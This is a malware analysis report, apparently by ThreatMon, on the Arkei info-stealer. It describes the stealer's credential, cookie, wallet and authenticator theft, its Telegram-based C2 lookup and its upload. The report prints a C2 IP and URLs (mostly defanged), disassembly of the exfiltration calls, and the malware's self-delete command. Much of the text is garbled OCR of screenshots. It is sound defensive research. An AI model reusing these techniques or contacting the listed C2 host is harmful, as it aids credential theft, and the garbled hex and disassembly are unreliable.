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ThreatMon Arkei Stealer Malware Analysis

Executive Summary

What Is Malware?

Malware, short for "Malicious Software", is software developed by cybercriminals to
steal information and damage devices connected to the Internet. Common examples of
malware are traditionally viruses, worms, trojans, and ransomware. However, stealer
pests have also come to the fore in recent years.

What is Stealer Malware?

Stealer, as a term, completes itself as an information thief. This type of malware
infects the device and then collects data from the device to send the information to the
attacker. Typical targets are credentials used in online banking services, emails, or
FTP accounts.

What is Arkei Stealer?

Arkei is a stealer family, mostly written in C++. It was first seen in the wild around
May 2018. It collects data about local computer, browser cookies, messengers,
cryptocurrency wallets. Then it zips the collected data and upload to Hacker’s C&C
Channel.
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Static Analysis

Virustotal Check

“65 Security vendors and 2 sandboxes flagged this file as malicious.” So we
understood that this Malware doesn’t do much to bypass Anti-Viruses.

55 (D) 55 security vendors and 2 sandboxes flagged this file as malicious o :‘:
in

7b788dc01e52402adad852c4%)

movie exe

1 1d32485484787a 35750KB 2022-11-02 08:05:04 UTC 2
Size

o
1 minute ago EXE

long-siccps malware  pesxe  runtime-modules  spreader
X Community Score ¥/

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 5

Security Vendors' Analysis ()

Acronis (Static ML)

Ad-Av
AhnLab-V3 Alibaba
AlYac Antiy-AVL @ Trojan/Ger ASMalwS 50E8
Arcabit Avast (D Win32:PWSX-gen [Tr)]

Examining PE File Header

Malware’s compilation date is 30/04/2022, it has been with us for 6 months.

- 000000E4 014C__ Machine IMAGE FILE_MACHINE 1386

000000E6 0004 i
000000E8 626CD812 | Time Date Stamp 2022/04/30 Sat 06:32:50 UTC ]

000000EC 00000000 ~Fointer to Symbal [able
000000F0 00000000  Number of Symbols

000000F4 00E0 Size of Optional Header

000000F6 0102 Characteristics
0002 IMAGE_FILE_EXECUTABLE_IMAGE
0100 IMAGE_FILE_32BIT_MACHINE
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In the Import Address Table, we found LoadLibrary and Sleep API Calls which are
used to bypass AV’s. Malware sleeps for a while after starting so AV thinks that this file
does nothing then loads other libraries dynamically.

= movie_exe pFile Data Description Value ‘
MAGE_DOS_HEADER 00000450 00017E2C  Hint/Name RVA 035A RaiseException
MS-DOS Stub Program 00000454 00017E3E  Hint/Name RVA 02E1 LCMapStringA

5 IMAGE_NT_HEADERS 00000458  00017E4E  Hint/Name RVA 0113 FillConsoleQutputCharacterV
E--Signature 0000045C 00017E6C  Hint/Mame RVA 03EC SetlLastEror
- IMAGE_FILE_HEADER 00000460  00017E7C  Hint/Name RVA 0220 GetProcAddress
.- IMAGE_OPTIONAL_HEADER 00000464  00017EBE  Hint/Name RVA 0454 VirtualAllog
- IMAGE_SECTION_HEADER text 00000468  00017ESE  HintMame RVA 02F 1| LoadLibrary |
-IMAGE_SECTION_HEADER data || 0000046C  OO017EAE  Hint/Name RVA 032F OpenMutexA
- IMAGE_SECTION_HEADER .rsrc 00000470 O0O17EBC  Hint/Name RVA 0482 WriteConsoleA,
IMAGE_SECTION_HEADER reloc || 00000474  00017ECC  Hint/Name RVA 02F9 LacalAlloc
= SECTION text 00000478  00O17EDA  Hint/Name RVA 0004 AddAtomWW
0000047C  00017EE6  Hint/Name RVA 0146 FoldString
MAGE_DEBUG_DIRECTORY 00000480  00017EF4  Hint/Name RVA 012E FindNextFileA
- IMAGE_LOAD_CONFIG_DIRECT(|| 00000484  00017F04 Hint/Name RVA 01F6 GetModuleHandleA
.- IMAGE_DEBUG_TYPE_CODEVII| 00000488  00017F18  Hint/Name RVA 008B CreateMutexA
.- IMPORT Directory Table 0000048C 00017F28  Hint/Name RVA 0130 FindNextFileW
- IMPORT Name Table 00000490 00017F38  Hint/Name RVA 01CB GetFileAttributesExW
.- IMPORT Hints/Names & DLL Nan|| 00000494 00017F50  Hint/Name RVA 03E1 SetFileShortMameA
SECTION data 00000498 00017F64  Hint/Name RVA 042C TerminateJobObject
- SECTION rsre 0000049C  00017F88  Hint/Name RVA 01F9_GetModuleHandleWW
i SECTION _reloc 00000440  00017FIC  Hint/Name RVA 0421
00000444 00017FA4  Hint/Mame RVA 0104 ExitProcess
00000448 00017FB2  Hint/Mame RVA 016F GetCommandLineA
000004AC  00017FC4  Hint/Name RVA 0239 GetStartuplnfoA
00000480 0DO17FDE  Hint/Mame RVA 0290 HeapAlloc
000004B4  00017FE2  Hint/Name RVA 01E6 GetLastError
00000488  00017FF2  Hint/Name RVA 02A1 HeapFree
000004BC  00017FFE  Hint/Name RVA 0434 TisGetValue
000004C0  0001800C  Hint/Name RVA 0432 TisAlloc
000004C4 00018018  Hint/Name RVA 0435 TisSetValue
000004C8 00018026 Hint/Name RVA 0433 TisFree

Strings of file are heavily obfuscated so it makes our job harder, we will keep further
with Dynamic Analysis.

Dynamic Analysis

After execution of the file, it read Browser Credential Data, Cookies and some
System Information.

Class: File System
Operation: ReadFile
Result: SUCCESS
Path: [C:\Users\IEUSEr\AppData\anaI\Gongle\Chrnme\User Data'Default\Login Data]
Duration: 0.0007647
Offset: 0
Length: 47104
Priority: Maormal
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Class: File System
Operation: ReadFilg
Result: SUCCESS
Path: IC\Usersh [EUzer\ AppData'Local\Google\ Chrome'\User Data'\Default\Metwork\ Cookies)
Duration: 0.0000608
Offset: 0
Length: 131.072
Priority: Maormal

Read Computer name, CPU Information.

Class: Registry
Operation: RegCueryValue
Result: SUCCESS
Path: [HKLM\S}rstem\CurrentCnntmISet‘\CUntrol'\CUmputerName\ActiveCumputerName\CumputerName]
Duration: 0.0000024
Type: REG_SZ
Length: 20
Data: TESTPCSI2
Class: Registry
Operation: RegQuenyValue
Result: SUCCESS
Path: [HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\U\PrncessnrNameString]
Duration: 0.0000025
Type: REG_SZ
Length: 96
Data: AMD Ryzen 7 4800H with Radecn Graphics

Searches for installed softwares.

Class: Registry
Operation: RegQuenyValue
Result: SUCCESS
Path: HKLM\SOFTWARE\WOW432Node\ Microsoft\ Windows\ CurrentVersion\Uninstallf Wireshark] Display Version
Duration: 0.0000013
Type: REG_SZ
Length: 12
Data: 3.6.7

After these operations, Malware sent the encrypted data to Hacker’'s C&C Channel
over HTTP Protocol.
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+ 4962 41.917997 192.168.100.15 64.44.177.137 HTTP 728 POST / HTTP/1.1

Frame 4862: 720 bytes on wire (576@ bits), 720 bytes captured (5766 bits)

Ethernet II, Src: 18:c4:89:7e:77:ee (18:c4:89:7e:77:ee), Dst: Realtekl 36:3e:ff (52:54:00:36:3e:Ff)

Internet Protocol Version 4, Src: 192.168.100.15, Dst: 64.44.177.137

Transmission Control Protocol, Src Port: 56561, Dst Port: 80, Seq: 77486, Ack: 2686209, Len: 666

[78 Reassembled TCP Segments (78828 bytes): #3927(178), #3928(1286), #3931(1286), #3932(1206), #3933(1206), #3938(12086), #3939(1286), #3948(1206), #3941(1206), #3942(1286), #3943(1206), #3951(1206), #3952(1206), #39
Hypertext Transfer Protocol

MIME Multipart Media Encapsulation. Tvpe: multipart/form-data. Boundary: "----8943375807484829"
< >
@008 52 54 @0 36 3e ff 18 c4 89 7e 77 ee 08 00 E @0 RT-6> A
©2 c2 @6 3f 40 @0 80 @6 db B9 c@ a3 64 of 4@ 2c 2@ d-@,
bl 89 dc f1 @2 5@ 28 e5 d3 63 96 1@ 94 3a 5@ 18 P( c P

83 41 26 cc @@ B8 71 52 33 72 33 72 B3 32 39 49 Af_gB _3030c201
33 6d 48 47 39 41 7B 64 79 46 3@ 46 74 42 6C 61 3mHG9Apd yFBFtBla
68 61 49 34 5a 63 31 61 65 43 4e 39 47 45 4f 4f |hal4Zcla eCNIGEDD
49 31 4e 3@ 78 58 4a 65 67 65 41 4b 71 53 36 64 [T1N@xXJe geAKqSEd
45 4d 78 57 7@ 75 76 6a 35 61 51 4a 37 68 53 4b  [EMxipuvj 5aQI7hsK|
4a 45 4b 42 38 31 33 7a 75 61 78 45 76 72 5a 69 [JEKBB13z uaxEvrZi
36 50 4b 4c 61 75 6e 62 76 3@ 54 7a 49 34 78 6d [6PKLaunb v@TzI4xm|
43 78 37 6f 62 59 7a 38 5@ 31 42 4c 41 51 49 58 |[Cx7on¥z8 P1BLAQIX|
43 78 51 41 41 67 41 49 41 4c 71 56 59 56 55 67  [CxQAAgAI ALgVYWlg
2b 66 47 67 7@ 67 49 41 4l 44 67 47 41 41 41 69 |+TGgpgIA ADgGAAAL
41 41 6b 41 41 41 41 41 41 41 41 41 41 41 41 41 |JRAKAARAA ARAAARRA
67 41 41 41 41 41 41 76 51 32 39 76 61 32 6c 6c  |gAAAARAY Q29va2ll
63 79 39 48 62 32 39 6e 62 47 55 67 51 32 68 79 |cy9Hb29n bGUgQzhy|
62 32 31 6c 58 38 52 6c S5a 6d 46 31 62 48 51 75  |b211X@R1 ZmF1bHQu
64 48 68 38 56 56 51 46 41 41 64 5a 61 57 46 6a |dHhBVVQF AAdZaWFj
55 45 73 42 41 68 63 4c 46 41 41 43 41 41 67 41 EsBAhCL FAACAAZA)
75 78 56 68 56 66 61 51 46 42 4a 35 41 41 41 41 UpVhVfaQ FBISAAAA)
74 51 41 41 41 41 34 41 43 51 41 41 41 41 41 41 JEQAAAAA CQAAAAAA
41 41 41 41 41 41 43 41 39 77 49 41 41 43 39 77 AAAARACA OwIAACOwW
59 58 4e 7a 64 32 39 79 Sa 43 4d 75 64 43 63 30 Nzd29y ZHMudHhe)

We have seen a little bit of the behavior of the Malware. We will continue with Code
Analysis to dig deeper and understand inner workings.

Code Analysis

In addition to file reading operations, we see that wallets and some messenger data
are read here. We also see Multi-Factor Authenticators are targeted.

‘A3 F05B4400 mov dword ptr ds:[445BF0],eax (:)::J4455FE:J:&Il‘vlathwa'\'\etl

E8 2B1A0000 call movie.403E9C

68 10904300 push movie.439010 439010: "CXKPFNI3"

68 1c904300 push movie.43901cC

6a 08 push 8

59 pop ecx

A3 BO5A4400 mov dword ptr ds:[445AB0],eax 00445AB0: &"hnfanknocfeofbddgcijnmhnfnkdnaad”
E8 141A0000 call movie.403E9C

68 28904300 push movie._439028 439028: "P2226TVIK3IMAVEKISAXIOFW3VDAECXIU"

68 4c904300 push movie.43904cC 43904C:"8BUAP<] ¥[/S&R/, [+?A+18V?HI5\">&; "

8BCE mov ecx,esi

A3 F8604400 |mov dword ptr ds:[4460F8],eax 004460 8: &fcoinbase]
o

E8 FE190000 call movie.403E9C

68 70904300 push movie.439070 439070: "I39wFB"

68 78904300 push movie.439078

6aA 06 push 6

59 pop ecx

A3 FC5Cc4400 mov dword ptr ds:[445CFC],eax 00445CFC: &"hpglfthgfnhbgpjdenjgmdgoeiappafin”
E8 E7190000 €all movie.403E9C

68 80904300 push movie.439080 439080: "QB60OH967 ODNCUEZPPKGIG2TQ/ WUlw29Y"

68 A4904300 push movie.4390A4 4390A4: "3 . X&-P_QV&! *9) 1> %N\"I (U>9\\0; AGBX: "
8BCE mov ecx,esi

A3 18584400 mov_dword ptr ds:[445B18],eax 00445818: &{Guarda}

E8 D1190000 €all movie.403E9C

A3 ACSE4400 mov dword ptr ds:[445EAC],eax 00445eAC:&"bInieiiffboillknjnepogjhkgnoapac™”
68 C8904300 push movie.4390C8 4390C8: "D3TV7ABWEYN"

68 D4904300 push movie.4390D4

8BCF mov ecx,edi

E8 BB190000 call movie.403E9C
68 E0904300 push movie.4390E0
68 04914300 push movie. 439104

"619DE520ZPF 5XSPQUOEL 8DZ90UESOLTC"
SMUINN(HEA?GE550Q29579#5& [&6TZ>#0) * 1 &

8BCE mov ecx,esi

A3 0C604400 |mov dword ptr ds:[44600C] ,eax 0044600c : &'[EQuaLwaled’
E8 A5190000 €all movie.403E9C

68 28914300 |push movie.439128 430128: "SPWZBTPEANK"

68 34914300 push movie.439134

Wallet List:

EQUAL Wallet
BitApp Wallet
iWallet

Guild Wallet
Ronin Wallet
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Clover Wallet
Liquality Wallet
Auro Wallet
Polymesh Wallet
EVER Wallet
Brave Wallet
Xdefi Wallet
Nami Wallet
Ethereum
Coinbase
Coinomi
Coin98

Messenger and Authenticator softwares are also targeted.

004037 6A 16 push 16

004037 59 pop ecx

004037 A3 D05c4400 mov dword ptr ds:[445CD0],eax 00445CD0: &"Brave"

004037 E8 24070000 call movie.403E9C

004037 68 BOB24300 push movie.43B2B0 43B2B0: "IFNGL SGURGW""

004037 68 BCB24300 push movie.43B2BC

004037 8BCF mov ecx,edi

004037 A3 CO5e4400 mov _dword ptr ds: [445EC0],eax 00445EC0: &"\\Thunderbird\\Profiles\\"

004037 E8 OEO70000 call movie.403E9C

004037 68 C8B24300 push movie.43B2C8 43B2C8: "9OXRGLTASUB8910887Vv"

004037 68 DCB24300 push movie.43B2DC

004037 6A 12 push 12

004037 59 pop ecx

004037 A3 4C5C4400 |mov dword ptr ds: [445C4C] ,eax 00445c4c: &fThunderbird]

004037 E8 F7060000 call movie.403E9C

004037 68 FOB24300 push movie.43B2F0 43B2F0:"IGEXO777U"

004037 68 FCB24300 push movie.43B2FC

004037 6A 09 push 9

004037 59 pop ecx

004037 A3 F05C4400 mov dword ptr ds:[445CFO0],eax OO445CFO:&'|\\Te'I egram Desktop\\l

004037 ES E0060000 call movie.403E9C

004037 68 08834300 push movie.43B308 43B308: "MCsSA"

004037 68 10834300 push movie.438310 43B310:" \"#k"

004037 6A 04 push 4

004037 59 pop ecx

004037 A3 20624400 mov dword ptr ds:[446220],eax 00446220:&"key_datas™

004037 E& C9060000 call movie.403E9C

004037 68 18834300 push movie.43B318 438318: "R4G5D852I53X1KFEP"

004037 68 2CcB34300 push movie.43B32C

004037 6A 11 push 11

004037 59 pop ecx

004037 A3 1C5F4400 mov dword ptr ds:[445F1C],eax 00445F1C: &"map* ™

004037 E8 B2060000 call movie.403E9C

004037 68 40B34300 push movie.43B340 43B340: "N6ISIARL7TINIYPB6™

004037 68 54B34300 push movie.43B354

004037 6A 11 push 11

004037 59 DOD ecx

004028 A3 BC5A4400 mov dword ptr ds: [445ABC],eax 0445ABC: & Authy™ I

00402B E8 C0120000 call movie.403E9C

004028 68 DB9F4300 push movie.439FD8 439FD8: "UTH46Q9016P2VL 20X"
00402B 68 EC9F4300 push movie.439FEC

00402B 6A 11 push 11

004028 59 pop ecx ecx:"/1636"

004028 A3 245p4400 mov dword ptr ds:[445D24],eax 00445024 :&"oeljdldpnmdbchonielidgobddffflal™
00402B E8 A9120000 call movie.403E9C

004028 68 00A04300 push movie.43A000 43A000: "7UBS3ZC9IK353TFLTOS8BPNKCWV2QASMD™
004028 68 24A04300 push movie.43A024 "A9%0]2&U: ([[P1#%SYH+: /") <4A3\"</ ("
00402B 8BCE mov ecx,esi 636"

00402B A3 50584400 mov dword ptr ds:[445B50],eax : EOS Authenticator
00402cC E8 93120000 call movie.403E9C

00402cC 68 48A04300 push movie.43A048 43A048: " 54F TKH14F 5XFGTQNKRC™
00402c 68 5cA04300 push movie.43A05C 43A05C:"ru3 #hpA2]=(3=2/7=1"
00402cC 6Aa 13 push 13

00402c 59 pop ecx ecx:"/1636"

00402C A3 D85E4400 mov dword ptr ds:[445ED8],eax 00445ED8:&"1ilgcnhelpchnceeipipijaljkblbcobl™
00402c E8 7c120000 call movie.403E9C

00402cC 68 70A04300 push movie.43A070 43A070: "V3NHTI96I6VE8080AB0WBL 9E6TOE6GCEPGSQOIRWWIKL ST TGE
00402cC 68 A8A04300 push movie.43A0A8

00402c 6A 36 push 36

00402C 59 pop ecx ecx:"/1636"

00402cC A3 A8614400 mov dword ptr ds:[4461A8],eax Al GAuth Authenticator
00402c E8 65120000 call movie_403E9C

00402C 68 E0A04300 push movie.43A0ED 43A0E0: "OWYQX2ED3DRP™

00402c 68 F0A04300 push movie.43A0F0

00402C 6A 0OC push C

00402cC 59 pop ecx ecx:"/1636"

00402cC A3 84614400 mov dword ptr ds:[446184],eax 00446184 : &"\\com. Tiberty. jaxx\\IndexedDB\\file__0.inde>
00402C ES8 4120000 call movie.403E9C

00402cC 68 00A14300 push movie.43A100 43A100: "QKHQSL 2MO0AQHNWA 7 QTXQSCOEUB"
00402c 68 1cal4300 push movie.43allc

nnNAN? - ARA 1a nnsh 14
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Connecting to C&C Server

Malware follows a different and interesting way while connecting to C&C Server. It
first sends a GET Request to a Telegram address. It fetches the actual C2 Server IP
from the description of Telegram Channel.

B P
FF15 C8644400 call dword ptr cls:[(&HttpSendRequestA:\-].
1k
8945 FO mov dword ptr ss:febp-1gMl,eax
BD45 E4 lea eax,dword ptr ss: p-1CH
50 push eax
8D85 783B0O0D00D Tea eax,dword ptr sgfilebg B7 sl
Wy S0 nush eax
<

&% Dump 1 B4 Dump 2

@4 Dump 3 W4 Dump 4 @4 Dump 5 @ watch 1 [x=] Locals [' Struct

Address

Hex

ASCII yd

00193024
00193034
00133044
00193905 4

00 00 00 00
00 00 D0 00
68 T4 T4 7O
05 00 00 00
7A 71 00 0O

74| 0F 00 OO0 0O
00199084 | 00 00 00 00
00199094 | 00 00 00 0O

As you

00 00 00 00|00 OO0 00 00|00 00 00 00| ..cvcvenannnnnnas

00 00 OO0 OO|OF OD OD OD|0O0 00 OO0 OO0 ... uenenmnnnnnn

73 00 00 00|00 OO0 OO0 00|00 00 00 OO|https...........

OF 00 OO0 OO|0D OO0 OO0 OD|DD 64 67 6B ............. dy

00 00 00 00|00 00 00 00|00 00 00 00 Zg

00 00 00 OO|74 2E €D 65|00 OO0 OO0 OOf . ....... t.me....

00 00 00 00|04 00 00 OD|OF 00 OO0 OOff c.vcvevennnnnnan
2F &4 &7 6€B|7A 71 00 00|00 OO OO O -.../dghzq......

see, the ‘hello hxxp./64[.]44[.]177[.]137:80” string is located in the

description of the Channel.

Mommy

hello http://64.44.177.137:80|

VIEW IN TELEGRAM
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What is exactly the purpose of this behavior ? Hacker wants to make sure the
malware works correctly. The IP address of C&C Channel may be blacklisted or
Hacker may want to change it, that's enough to change the description of Telegram
Channel, so he/she won’t have to make a new binary.

53 push ebx
5g push esi
6A 03 push 2
53 push ebx
53 push ebx
FF75 E4 push dword ptr ss:[ebp-1c]]
50 push eax eax:"64.44.177.137"
EEZo Busbedwocd i oo oo ool
FF15 04654400 call dword ptr ds:[<aInternetConnectA>]
e i aae e e gy e s
3BC3 cmp eax,ebx eax:"64.44.177.137"
—————— ~ OFB4 ACOOD0000 je mowvie.40A87C
838D ADDOOODOO 10 cmp dword ptr ss:[Jebpraodl,10
8BBD SCO00000 mov ecx,dword ptr ss:|Jebp+sg
~ 73 06 jae mowvie.40ATES
8DBD SCO00000 lea ecx,dword ptr ss: i)
53 pus bx
56 push esi
53 push ebx
53 push ebx
53 push ebx
51 push ecx
68 FCE04300 push movie. 43E0FC 43EOFC:™
50 push ea: eax: " 64,
FF15 48654400 €all dword ptr d <&HTTpOpenReguestA>]
8BFO mov esi,eax eax:"64.44.177.137"
. 3BF3 cmp esi,ebx
- ~ 74 76 je mowvie. 40A87,
| . 53 pus bx
i . = [P
& >

Woumpl  @WYoump2 @Woump3  @lpumps  @WDumps @ watch 1 /=IL0GIS & stuct
Address | Hex | ASCII » |

00199D8C | 36 34 2t 34|34 2E 31 37|37 2E 31 33|37 00 67 68| G4.44.177.137.gh

0

019909C | 0D 00 00 00|OF 0O DO 00|00 DO 00 DO|2F 31 36 33 . /1863

001930 8C
00000050
00000000
00000000

After connecting to C2 Channel Malware first fetches a Config file. This file determines
the pattern of the operations.

i 53 push ebx
f e i 5
| FF15 CB644400 call dword ptr ds:[q&HttpSendRequestA:v]]
Eg— - TTETT—
0 . 8945 FO mov dword ptr ss:[febp-10f,ea
i . 8045 E4 lea eax,dword ptr ss:|[febp-1
! ] 50 push eax .
! L 8D85 TE3IBO000D lea eax,dword ptr ss:|[febp+&7s] [ebp+3B7 8] : &"Y..Auxfe\ 08"
I . s} push eax
| . G6A 13 push 13
g . 13 push esi _
R K >
i : | 00199CE 8 IEPEELVE:E)
2% Dump 1 Wobump2 @ oump3  E4Dump4 B Dump 5 B8 watch 1 IX=ILomIs/ ' struct "/1636"
00190A24 [&"http: //64.4
ggg;:::o Hex 0 %:;U; = / " 04B118D8 | "http://64.44
—Le - : DOCCO008 | movie. DOCCO0D:
00199000 (50 00 00 00 c ! 00150904
00193010 | 10 DA 12 00 00000050
00199D20| OF 00 00 00

0043212F |movie.0043212|
00CCO004 | movie. 00CCo00:
00000000
0019DA10 | Fointer to SE
00432180 (movie. 0043218
00000006

00199030 | 0F 00 00 00
00199D40| 00 00 00 00
00199D50| 00 00 00 00
00199D60 | 00 &4 &7 68
00199D70| 00 31 36 33
00199080 | 00 00 00 00

00199090 | 34 2E 31 37 R
00199DA0| OF 00 00 00 EEERRT
. [
Fg—> ES8 S798FFFF call movie.4040F9
53 push ebx
. 57 push edi
. 804D 00 lea ecx,dword ptr ss:[febp]
. E8 7O98FFFF call movie.40411C
. 53 push ebx
. 57 push edi
. 4D 1ea ecx,dword ptr ss:|[ebp+iC
. ES8 6698FFFF call movie.40411C
. 53 push ebx
. 57 push edi
. 804D 35 1ea ecx,dword ptr ss:[lebp+3s5]
. E8 SC98FFFF call movie.40411C
. 53 push ebx
“l< >

00199DFC
ED23A18E

3 *1,1,0,1,0,91
2% Dump 1 Woump2z  BYoump3 @pump4 @4 Dump s @ watch1  Ix=ILocals 2 struct e

0019DA40 | " /1636"
ggg;::c 30 2C 31 2C|30 2C 39 66|34 36 38 3 TS?; T:0, 973687 " pOrsuAzallaqictpisey
‘ 2o : T e e e 04B118D8 | "http://64. 4
00199E0C 35 34 32 61|39 65 37 31|62 38 61 30 dd74542a9e71bsan ) e e s
00199E1C 64 31 61 63|34 61 2C 31|2C 31 2¢ 31 s&fcdiac4a,l,1,1 R :
00199E2C 2C 44 65 73[3B 25 55 53|45 53| ,0,0,Des;%USERPR ooDonans
00199E3C 35 25 5C 44|65 73 6B 74 =6 OFILE®\Desktop; sttt | s
00199E4C 74 3B 31 3B|33 3B 6D 6F 73 ~.txt;1;3;movies R |G e
00199E5C |3A 6D 75 73|69 63 3A 6D|70 33 3A 657 imusicimp3:exe;s e
00199E6C | D0 00 00 00l00 00 oo ooloo oo oo ooloo oo oo QoooDoser | . _|
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So how do we read this config ? First 1 is for Saved Passwords, second 1 is for
Cookies / Autofill etc. Last part is obvious “*.txt;1;3;movies:music:mp3;exe;”. Then in
addition to the Config file, Malware fetches a Zip file.

53 push ebx

i DL
FF15 EC634400 [ Ewura ptr ds: [<&InternetOpenuriA=
MoV CTUX, Cd,
33FF xor edi,edi
EB 2C jmp movie.40E293
8D45 30 lea eax,dword ptr ss:jfebp-70]
50 push eax
68 00040000 push 400
8045 94 lea eax,dword ptr jE:[ebp-&C]
50 push eax
53 push ebx
FF15 OCG44400 £all dword ptr gf:[<&InternetReadrilex]
33C0 Xor eax, eax
3975 90 cmp dword ptr gs:[lebp-70], esi
v 7R 1R ihe movie. 4nFfan

Wompl  @Wowp2  @Woump3  Woump4  Woumps 8 watch 1 I-ﬁﬁca\s :f' Struct

Address | Hex 11

0019E128|G8 74 74 70|3A 2F 2F 36|34 2E 34 34(2E 31 37 37] http://64.44.177

0019E138|2E 31 33 37|3A 38 30 2F|36 38 31 39(33 30 38 35§ .137:80,/68193085

0019E148(32 39 32 38|2E 7A €9 70(00 00 00 00|00 00 00 OOf 2928.Zip........
00 00

0019E158|00 00 00 00|00 00 00 00|00 00 00 00|00

There are some libraries in zip file. These libraries are necessary to grab some kind of
data. For instance :

Freebl3.dll : Freebl Library of Mozilla Firefox
Mozglue.dll : Library for Firefox
Vcruntime140.dll : Library for Visual Runtime

freebl3.dll mozglue.dl msvcp 140.dll nss3.d softokn3.dll sglite3.dll veruntime 140.d11
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Taking Screenshot

It has been detected that the Malware has taken a screenshot with help of gdip

library.

FF15 BBE44400

~ OF85 0DOL0O00O
FF15 04634400

FF15 28634400
68 2000CC00

FF75 D4
FF15 4C644400

ThreatMon Arkei Stealer Analysis

call dword ptr ds

jne movié.ﬂ?oEB

d:

€all dword ptr
push movie.CCO

€all dword ptr ds

gall dvord ptr ds:

[<&Gdipiusstartup=]

85¢! test eax,eax
~ OF85 21010000 jne movie.4170E6
aD45 C8 Tea eax,dword ptr ss:[Jebp-3s])
50 push eax
57 push edi
56 push esi
FFIS 18644400 €all dword ptr ds:[<&CreateStreamOnHGlobals]
85co test eax,eax

[<aGetDesktopwindows]

8BFS mov edi,eax

8D45 DC Tea eax,dword ptr ss:[ebp-24])

50 push eax

57 push edi

FF15 50654400 €all dword ptr ds:[<&GetwindowRect>]

57 pus i

FF15 2C654400 €all dword ptr ds:[<&GetDC>]

50 push eax

2945 DB mov_dword ptr ss:[Jebp-28], eax

FF15 DCG34400 €& dword ptr ds:[<&CreateCompatibledC>]
FF75 E8 push dword ptr ss:[[ebp-13]

8BDS mov ebx,eax

FF75 E4 push dword ptr

FF75 DB push dword ptr

FF15 48634400 €&l dword ptr :[<&CreateCcompatibleBitmap>]
50 push eax

53 push ebx

8945 CC mov_dword ptr ss:febp-34],eax

<@selectobjects]

56 push esi
56 push esi
FF75 DB push dword ptr ss:[ebp-25]
8945 BC mov dword ptr ss:[ebp-44],eax
FF75 E8 push dword ptr ss:febp-13])
FF75 Ed4 push dword ptr ss:[febp-1c]
56 push esi
56 push esi
53 push ebx
FF15 DBE34400 €alll dword ptr ds:[<&BitB1t>)
8045 D4 lea eax,dword ptr ss:[ebp-2C]
50 push eax
56 push esi
FF75 CC push dword ptr ss:[ebp-34]
FFIS 78644400 €all dword ptr ds:[<&GdipCreateBitmapFromHEITMAR>]
85c0 test eax,eax

v OFSE 98000000 jne movie.4170E6
8045 EC lea eax,dword ptr ss:|[febp-14]
50 push eax
EB AJFEFFFF €all movie.416EFD
59 pop ecx
83F8 FF X F

v OF84 88000000 je movie.4170E6
5 push esi
8045 EC Tea eax,dword ptr ss:[ebp-14]
50 push eax
FF75 CB push dword ptr ss:[[ebp-35]

push dword ptr ss:[eb

ebp-2c]
: [<&GdipSaveImageTostream>]

Encrypting and Uploading the Collected Data

After all of these operations Malware zips the data that are collected. Then it
encrypts the zip file to make it ready to be uploaded. We generated a memory dump
before Malware encrypts the data.

It AT |
call dword ptr ds:[<&CryptBinaryToStringA>]
PO, T

je movie.40BD51

push dword ptr ss:|JespfFic]

eax: "104x19

% Dump 1

WeDump2 @Dump3 @Y Dump4  §%Dump§

B wath1 e Lucy # stuct
50 48 03 04 08 00 04 50/63 55 1C 33

14 00 02 00
AD 61 07 44|00 00 E6 A3|00 00 22 00|11 00 2F 43.a.D..2£..".../
G6F 6F 6B 69|65 73 2F 47|6F 6F &7 GC|65 20 43 68Jookies/Google C
72 6F 6D 65 [SF 44 65 6661 75 6C 74(2E 74 7 rome_Default.tx
55 54 0D 00|07 52 91 63|63 52 91 63|63 52 91 G3JUT...R.CCR,CCR,
63 C4 7D 69|78 E3 3C 7Z|EO &7 FA 57|EC 74 E7 7D| cA}i{&<ragiwitg
33 33 BD 54(03 20 78 F5|B3 DE 2C 7S |DF 61 29§ 334T. xé'D,uB—a‘u
4F 46 0L 2F|89 12 OF 99|A4 CE 9D BC|8F 7D 08 94f0F. /....e1.%;:}. .
CF GE D9 96|27 €9 B3 DD|B6 25 92 40 Al 00 14 A} Inl, 'E*¥9%.2. .3
42 Al 98 SB(44 D1 C2 77|72 56 14 E4 228 Bi. jDREm-r\-.aox..
€N 41 49 FRIFF FN 89 15/55 A5 24 91175 24 18 acl faTehd. i: 6.

1D530000
10590010
10590020
10590030
1D590040
10530050
1D590060
1D530070
1D530080
1D590090
ANSANNAN
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In the zip file there are data that are taken from Browsers, some information about
our local Computer and there is a screenshot when we were debugging the Malware.

MemoryDump

Autofill Files information. bt movwie_10590000. screenshot.jpg

brin

Finally, Malware is getting ready to destroy itself.

"C:\Windows\System32\cmd.exe" /c timeout /t 6 & del /f/q "movie.exe"” & exit

. 41 897D CO mov dword ptr ss:|[Jebp-40f,ed
o 0041 C745 C4 74DF4300 mov dword ptr ss:[el:p 3¢ movie.43DF74 et T ] .,; = e ] S LY. T
® | 0041 C745 CB ASED4300 mov dword ptr ss:[ebp-3 movie. 43EDAS 43EDAE: C:'\'\'ﬁ"lndows'\'\systETBZ'\'\cTa.exel
o0 897D DO mov dword ptr ss:[eby i
o0 897D D4 mov dword ptr ssifebp-zC]},edi
o0 rd Ao duocd BiL ff'rel‘l*_,' Sl
e | 004 FF15 10654400 call dword ptr ds c&sheHExecuteEx:\-]
.
<

@4 Dump 1 ypump 2 B4 Dump 3 WYoump4 4 Dump 5 B watch 1 [x=] Locals ,fé" Struct

Address | Hex =
OD43ED7C | 2F 63 20 00|74 69 6D &5 |6F 75 74 20|2F 74 20 36 ,.-"C .Timeout [t 6
OD43EDSC 20 26 20 64|65 6C 20 2F (66 20 2F 71|20 22 00 0O & CIE'I ,.-"f ,-’q T
DD43ED9C 22 20 26 20 65 }'S 69 ?4 DD DD DD DD 43 3-'\ SC 5 & Coul
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INDICATOR OF COMPROMISE (IOC)

SHA-256 HASH
7b788dc01e52402adad852c4960170f8058ab901db5c83c5e2fd32485484787a

IP/URL

t.me/dghzq

http:/64[.J44[.]177[.]137:80

http://64[.J44[.]177[.]137/1636

http://64[.]44[.]177[.]137/090459701475.zip

MITRE ATT&CK

TECHNIC ID

Steal Web Session Cookie T1539
Credentials From Password Stores T1555
Unsecured Credentials T1552
Query Registry T1012

Software Discovery T1518

System Information Discovery T1082
Ingress Tool Transfer T1105
Exfiltration Over Alternative Protocol T1048




